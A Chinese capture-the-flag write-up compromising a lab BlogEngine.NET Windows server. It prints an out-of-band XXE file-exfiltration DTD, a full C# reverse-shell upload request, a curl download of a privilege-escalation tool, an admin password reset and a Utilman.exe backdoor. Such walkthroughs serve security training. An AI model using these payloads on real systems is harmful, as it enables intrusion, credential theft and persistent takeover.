端口扫描 靶机没有开启ping
└─# nmap --min-rate=10000 -p- exf.thm Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-05 16:39 UTC Nmap scan report for exf.thm (10.10.65.115) Host is up (0.0036s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 3389/tcp open ms-wbt-server 5985/tcp open wsman MAC Address: 02:D8:FF:08:7D:81 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 20.30 seconds
└─# nmap -sC -sT -sV -O -p80,3389,5985 exf.thm Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-05 16:40 UTC Nmap scan report for exf.thm (10.10.65.115) Host is up (0.00049s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: 403 - Forbidden: Access is denied. | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=EXFILIBUR | Not valid before: 2024-06-04T16:19:34 |_Not valid after: 2024-12-04T16:19:34 |_ssl-date: 2024-06-05T16:41:16+00:00; 0s from scanner time. | rdp-ntlm-info: | Target_Name: EXFILIBUR | NetBIOS_Domain_Name: EXFILIBUR | NetBIOS_Computer_Name: EXFILIBUR | DNS_Domain_Name: EXFILIBUR | DNS_Computer_Name: EXFILIBUR | Product_Version: 10.0.17763 |_ System_Time: 2024-06-05T16:41:11+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found MAC Address: 02:D8:FF:08:7D:81 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host Network Distance: 1 hop Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.88 seconds
└─# nmap --script=vuln -p80,3389,5985 exf.thm Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-05 16:45 UTC Nmap scan report for exf.thm (10.10.65.115) Host is up (0.00032s latency). PORT STATE SERVICE 80/tcp open http | http-enum: |_ /blog/: Blog |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 3389/tcp open ms-wbt-server 5985/tcp open wsman MAC Address: 02:D8:FF:08:7D:81 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 140.60 seconds
读取Users 是一台Win+IIS的服务,根目录是403。nmap扫描结果中存在一个/blog能够访问。
比较显眼的是一个登录,发现是blogengine.net,并且在主页的源码中找到版本为3.3.7
└─$ searchsploit blogengine -------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------------------------------------- --------------------------------- BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection | xml/webapps/48422.txt BlogEngine 3.3 - XML External Entity Injection | windows/webapps/46106.txt BlogEngine 3.3.8 - 'Content' Stored XSS | aspx/webapps/48999.txt BlogEngine.NET 1.4 - 'search.aspx' Cross-Site Scripting | asp/webapps/32874.txt BlogEngine.NET 1.6 - Directory Traversal / Information Disclosure | asp/webapps/35168.txt BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution | aspx/webapps/46353.cs BlogEngine.NET 3.3.6/3.3.7 - 'dirPath' Directory Traversal / Remote Code Execution | aspx/webapps/47010.py BlogEngine.NET 3.3.6/3.3.7 - 'path' Directory Traversal | aspx/webapps/47035.py BlogEngine.NET 3.3.6/3.3.7 - 'theme Cookie' Directory Traversal / Remote Code Execution | aspx/webapps/47011.py BlogEngine.NET 3.3.6/3.3.7 - XML External Entity Injection | aspx/webapps/47014.py -------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
可能存在目录穿越,RCE,XXE。根据47035.py,在/api/filemanager存在目录穿越,可以进行文件读取,读取根目录
http://exf.thm/blog/api/filemanager?path=/../../
<ArrayOfFileInstance> <FileInstance> <Created>6/6/2024 4:20:23 AM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files../..</FullPath> <IsChecked>false</IsChecked> <Name>...</Name> <SortOrder>0</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 2:57:57 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files../../blogs</FullPath> <IsChecked>false</IsChecked> <Name>blogs</Name> <SortOrder>1</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 2:57:57 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files../../datastore</FullPath> <IsChecked>false</IsChecked> <Name>datastore</Name> <SortOrder>2</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 6:41:39 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files../../files</FullPath> <IsChecked>false</IsChecked> <Name>files</Name> <SortOrder>3</SortOrder> </FileInstance> <FileInstance> <Created>6/6/2024 4:19:12 AM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files../../machine.config</FullPath> <IsChecked>false</IsChecked> <Name>machine.config</Name> <SortOrder>4</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 2:57:57 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files../../monstercache</FullPath> <IsChecked>false</IsChecked> <Name>monstercache</Name> <SortOrder>5</SortOrder> </FileInstance> <FileInstance> <Created>8/11/2023 10:54:51 AM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files../../pages</FullPath> <IsChecked>false</IsChecked> <Name>pages</Name> <SortOrder>6</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 2:57:57 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files../../posts</FullPath> <IsChecked>false</IsChecked> <Name>posts</Name> <SortOrder>7</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 2:57:57 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files../../profiles</FullPath> <IsChecked>false</IsChecked> <Name>profiles</Name> <SortOrder>8</SortOrder> </FileInstance> <FileInstance> <Created>6/6/2024 4:17:31 AM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files../../web.config</FullPath> <IsChecked>false</IsChecked> <Name>web.config</Name> <SortOrder>9</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>738.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../blogroll.xml</FullPath> <IsChecked>false</IsChecked> <Name>blogroll.xml</Name> <SortOrder>10</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>300.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../blogs.xml</FullPath> <IsChecked>false</IsChecked> <Name>blogs.xml</Name> <SortOrder>11</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>240.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../categories.xml</FullPath> <IsChecked>false</IsChecked> <Name>categories.xml</Name> <SortOrder>12</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 5:35:12 PM</Created> <FileSize>3.50 kb</FileSize> <FileType>File</FileType> <FullPath>../../customfields.xml</FullPath> <IsChecked>false</IsChecked> <Name>customfields.xml</Name> <SortOrder>13</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>61.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../extensionmap.txt</FullPath> <IsChecked>false</IsChecked> <Name>extensionmap.txt</Name> <SortOrder>14</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>11.86 kb</FileSize> <FileType>File</FileType> <FullPath>../../labels.txt</FullPath> <IsChecked>false</IsChecked> <Name>labels.txt</Name> <SortOrder>15</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 5:35:09 PM</Created> <FileSize>42.89 kb</FileSize> <FileType>File</FileType> <FullPath>../../logger.txt</FullPath> <IsChecked>false</IsChecked> <Name>logger.txt</Name> <SortOrder>16</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>19.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../newsletter.xml</FullPath> <IsChecked>false</IsChecked> <Name>newsletter.xml</Name> <SortOrder>17</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>109.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../packagefiles.xml</FullPath> <IsChecked>false</IsChecked> <Name>packagefiles.xml</Name> <SortOrder>18</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>101.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../packages.xml</FullPath> <IsChecked>false</IsChecked> <Name>packages.xml</Name> <SortOrder>19</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>554.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../pingservices.xml</FullPath> <IsChecked>false</IsChecked> <Name>pingservices.xml</Name> <SortOrder>20</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>4.20 kb</FileSize> <FileType>File</FileType> <FullPath>../../rights.xml</FullPath> <IsChecked>false</IsChecked> <Name>rights.xml</Name> <SortOrder>21</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>388.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../roles.xml</FullPath> <IsChecked>false</IsChecked> <Name>roles.xml</Name> <SortOrder>22</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>5.47 kb</FileSize> <FileType>File</FileType> <FullPath>../../settings.xml</FullPath> <IsChecked>false</IsChecked> <Name>settings.xml</Name> <SortOrder>23</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>587.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../stopwords.txt</FullPath> <IsChecked>false</IsChecked> <Name>stopwords.txt</Name> <SortOrder>24</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>633.00 bytes</FileSize> <FileType>File</FileType> <FullPath>../../users.xml</FullPath> <IsChecked>false</IsChecked> <Name>users.xml</Name> <SortOrder>25</SortOrder> </FileInstance> </ArrayOfFileInstance>
访问/../../App_Data/
<ArrayOfFileInstance> <FileInstance> <Created>6/6/2024 5:22:28 AM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data</FullPath> <IsChecked>false</IsChecked> <Name>...</Name> <SortOrder>0</SortOrder> </FileInstance> <FileInstance> <Created>6/6/2024 4:57:59 AM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data/App_Data</FullPath> <IsChecked>false</IsChecked> <Name>App_Data</Name> <SortOrder>1</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 2:57:57 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data/blogs</FullPath> <IsChecked>false</IsChecked> <Name>blogs</Name> <SortOrder>2</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 2:57:57 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data/datastore</FullPath> <IsChecked>false</IsChecked> <Name>datastore</Name> <SortOrder>3</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 6:41:39 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data/files</FullPath> <IsChecked>false</IsChecked> <Name>files</Name> <SortOrder>4</SortOrder> </FileInstance> <FileInstance> <Created>6/6/2024 4:19:12 AM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data/machine.config</FullPath> <IsChecked>false</IsChecked> <Name>machine.config</Name> <SortOrder>5</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 2:57:57 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data/monstercache</FullPath> <IsChecked>false</IsChecked> <Name>monstercache</Name> <SortOrder>6</SortOrder> </FileInstance> <FileInstance> <Created>8/11/2023 10:54:51 AM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data/pages</FullPath> <IsChecked>false</IsChecked> <Name>pages</Name> <SortOrder>7</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 2:57:57 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data/posts</FullPath> <IsChecked>false</IsChecked> <Name>posts</Name> <SortOrder>8</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 2:57:57 PM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data/profiles</FullPath> <IsChecked>false</IsChecked> <Name>profiles</Name> <SortOrder>9</SortOrder> </FileInstance> <FileInstance> <Created>6/6/2024 4:17:31 AM</Created> <FileSize/> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../../App_Data/web.config</FullPath> <IsChecked>false</IsChecked> <Name>web.config</Name> <SortOrder>10</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>738.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/blogroll.xml</FullPath> <IsChecked>false</IsChecked> <Name>blogroll.xml</Name> <SortOrder>11</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>300.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/blogs.xml</FullPath> <IsChecked>false</IsChecked> <Name>blogs.xml</Name> <SortOrder>12</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>240.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/categories.xml</FullPath> <IsChecked>false</IsChecked> <Name>categories.xml</Name> <SortOrder>13</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 5:35:12 PM</Created> <FileSize>3.50 kb</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/customfields.xml</FullPath> <IsChecked>false</IsChecked> <Name>customfields.xml</Name> <SortOrder>14</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>61.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/extensionmap.txt</FullPath> <IsChecked>false</IsChecked> <Name>extensionmap.txt</Name> <SortOrder>15</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>11.86 kb</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/labels.txt</FullPath> <IsChecked>false</IsChecked> <Name>labels.txt</Name> <SortOrder>16</SortOrder> </FileInstance> <FileInstance> <Created>8/9/2023 5:35:09 PM</Created> <FileSize>45.48 kb</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/logger.txt</FullPath> <IsChecked>false</IsChecked> <Name>logger.txt</Name> <SortOrder>17</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>19.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/newsletter.xml</FullPath> <IsChecked>false</IsChecked> <Name>newsletter.xml</Name> <SortOrder>18</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>109.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/packagefiles.xml</FullPath> <IsChecked>false</IsChecked> <Name>packagefiles.xml</Name> <SortOrder>19</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>101.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/packages.xml</FullPath> <IsChecked>false</IsChecked> <Name>packages.xml</Name> <SortOrder>20</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>554.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/pingservices.xml</FullPath> <IsChecked>false</IsChecked> <Name>pingservices.xml</Name> <SortOrder>21</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>4.20 kb</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/rights.xml</FullPath> <IsChecked>false</IsChecked> <Name>rights.xml</Name> <SortOrder>22</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>388.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/roles.xml</FullPath> <IsChecked>false</IsChecked> <Name>roles.xml</Name> <SortOrder>23</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>5.47 kb</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/settings.xml</FullPath> <IsChecked>false</IsChecked> <Name>settings.xml</Name> <SortOrder>24</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>587.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/stopwords.txt</FullPath> <IsChecked>false</IsChecked> <Name>stopwords.txt</Name> <SortOrder>25</SortOrder> </FileInstance> <FileInstance> <Created>2/5/2019 5:47:20 PM</Created> <FileSize>633.00 bytes</FileSize> <FileType>File</FileType> <FullPath>/../../App_Data/users.xml</FullPath> <IsChecked>false</IsChecked> <Name>users.xml</Name> <SortOrder>26</SortOrder> </FileInstance> </ArrayOfFileInstance>
https://www.securitymetrics.com/blog/blogenginenet-xml-external-entity-attacks
根据这个利用,可以利用XXE来实现任意文件读取来读取users.xml。首先试着读取win.ini
首先创建一个oob.xml,来访问远程主机的exfil.dtd
<?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://$LHOST/exfil.dtd"> <foo>&e1;</foo>
在本地创建一个exfil.dtd
<!ENTITY % p1 SYSTEM "file:///C:/WINDOWS/win.ini"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://$LHOST/EX?%p1;'>"> %p2;
然后在本地开启一个web服务器之后
curl 'http://exf.thm/blog/syndication.axd?apml=http://LHOST/oob.xml'
但是提示连接不上远程主机,根据房间提示,会有”brickwall”,也许存在防火墙,改用445端口之后,有回显
10.10.126.190 - - [06/Jun/2024 11:31:59] "GET /oob.xml HTTP/1.1" 200 - 10.10.126.190 - - [06/Jun/2024 11:31:59] "GET /exfil.dtd HTTP/1.1" 200 - 10.10.126.190 - - [06/Jun/2024 11:32:00] code 404, message File not found 10.10.126.190 - - [06/Jun/2024 11:32:00] "GET /EX?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1 HTTP/1.1" 404 -
读取成功,更改exfil.xml来读取users.xml
<!ENTITY % p1 SYSTEM "file:///C:/WINDOWS/win.ini"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://$LHOST/EX?%p1;'>"> %p2;
结果进行url解码得到:
<Users> <User> <UserName>Admin</UserName> <Password>wobS/AvKFPT5qP9FgQyh7C kc k 1rBzbOf7Oxfptw0=</Password> <Email>post@example.com</Email> <LastLoginTime>2007-12-05 20:46:40</LastLoginTime> </User> <!-- <User> <UserName>merlin</UserName> <Password></Password> <Email>mark@email.com</Email> <LastLoginTime>2023-08-11 10:58:51</LastLoginTime> </User> --> <User> <UserName>guest</UserName> <Password>hJg8YPfarcHLhphiH4AsDZ aPDwpXIEHSPsEgRXBhuw=</Password> <Email>guest@email.com</Email> <LastLoginTime>2023-08-12 08:47:51</LastLoginTime> </User> </Users>
但是有问题的是,url解码的过程中”+”也会被解码,所以空格要替换成”+”
之后再进行base64解码,再转换为16进制
admin
└─$ echo -n 'wobS/AvKFPT5qP9FgQyh7C+kc+k+1rBzbOf7Oxfptw0=' |base64 -d |xxd -p -c 32 c286d2fc0bca14f4f9a8ff45810ca1ec2fa473e93ed6b0736ce7fb3b17e9b70d
guest
└─$ echo -n 'hJg8YPfarcHLhphiH4AsDZ+aPDwpXIEHSPsEgRXBhuw=' |base64 -d |xxd -p -c 32 84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec
guest的哈希解的密码为”guest”
Getshell 登录之后是guest身份,之后可以利用一个文件上传一个反弹shell配合cookie参数的目录遍历来触发反弹shell
参考上面的aspx/webapps/47011.py
需要有一个可以编辑theme的用户,在右下角有一份草稿文章,里面能够找到kingarthy也就是admin的密码:Excal1burP@ss1337
切换至管理员用户,左边多了一栏”CUSTOM”,里面有themes
发包:
POST /blog/api/upload?action=file HTTP/1.1 Host: exf.thm User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/plain Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: XXX Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------12143974373743678091868871063 Content-Length: 2076 -----------------------------12143974373743678091868871063 Content-Disposition: form-data; filename="PostView.ascx" <%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %> <%@ Import Namespace="BlogEngine.Core" %> <script runat="server"> static System.IO.StreamWriter streamWriter; protected override void OnLoad(EventArgs e) { base.OnLoad(e); using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.11.77.28", 445)) { using(System.IO.Stream stream = client.GetStream()) { using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) { streamWriter = new System.IO.StreamWriter(stream); StringBuilder strInput = new StringBuilder(); System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler); p.Start(); p.BeginOutputReadLine(); while(true) { strInput.Append(rdr.ReadLine()); p.StandardInput.WriteLine(strInput); strInput.Remove(0, strInput.Length); } } } } } private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) { StringBuilder strOutput = new StringBuilder(); if (!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception err) { } } } </script> <asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder> -----------------------------12143974373743678091868871063--
response:
HTTP/1.1 201 Created Cache-Control: no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Thu, 06 Jun 2024 13:01:28 GMT Connection: close Content-Length: 72 "/blog/file.axd?file=%2f2024%2f06%2fPostView.ascx|PostView.ascx (1.8KB)"
用之前的那个目录穿越来查看是否上传成功
└─$ curl 'http://exf.thm/blog/api/filemanager?path=/../../App_Data/files/2024/06/' [{"IsChecked":false,"SortOrder":0,"Created":"6/6/2024 1:05:58 PM","Name":"...","FileSize":"","FileType":0,"FullPath":"~/App_Data/files/../../App_Data/files/2024/06","ImgPlaceholder":""},{"IsChecked":false,"SortOrder":1,"Created":"6/6/2024 1:01:28 PM","Name":"PostView.ascx","FileSize":"1.85 kb","FileType":1,"FullPath":"/../../App_Data/files/2024/06/PostView.ascx","ImgPlaceholder":"fa fa-file-o"}]
利用cookie中的theme来目录穿越进行触发反弹shell
└─$ curl -b "theme=../../App_Data/files/2024/06" 'http://exf.thm/blog/'
得到反弹shell,作为merlin
提权 主机上还存在着kingarthy和Administrator
merlin用户是有SeImpersonatePrivilege权限的,上传一个PrintSpoofer,嘶发现似乎上传不了文件,也许是被杀掉了,因为curl的时候是能curl到本地的
尝试使用kingarthy之前的密码进行RDP连接,发现密码复用。有了界面之后才知道之前的上传都被windowsDenfender拦了,print.exe会被检测
可以使用这个进行本地编译实现免杀效果:
https://github.com/zcgonvh/EfsPotato
回到反弹shell中,在merlin用户目录,因为只有他有模拟令牌的权限
curl http://10.10.4.48:53/EfsPotato.cs -o EfsPotato.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\EfsPotato.cs -nowarn:1691,618
使用csc进行编译
EfsPotato.exe whoami C:\Users\merlin\Desktop>EfsPotato.exe whoami Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net] [+] Current user: EXFILIBUR\merlin [+] Pipe: \pipe\lsarpc [!] binding ok (handle=fc09d0) [+] Get Token: 872 [!] process with pid: 5100 created. ============================== nt authority\system
现在我们是root!
EfsPotato.exe "cmd.exe /C net user administrator admin123!"
更改管理员密码来RDP连接
方法二:通过kingarthy的SeTakeOwnershipPrivilege权限来改变文件的拥有权
takeown /f C:\Windows\System32\Utilman.exe icacls C:\Windows\System32\Utilman.exe /grant kingarthy:F copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
碎碎念 真的挺难的一个房间,从exp的利用,XXE读取文件到文件上传。exp的尝试过程也是比较困难的。以及防火墙和杀软的存在让这个房间的难度也上升了不少。windows果然还是比较难啊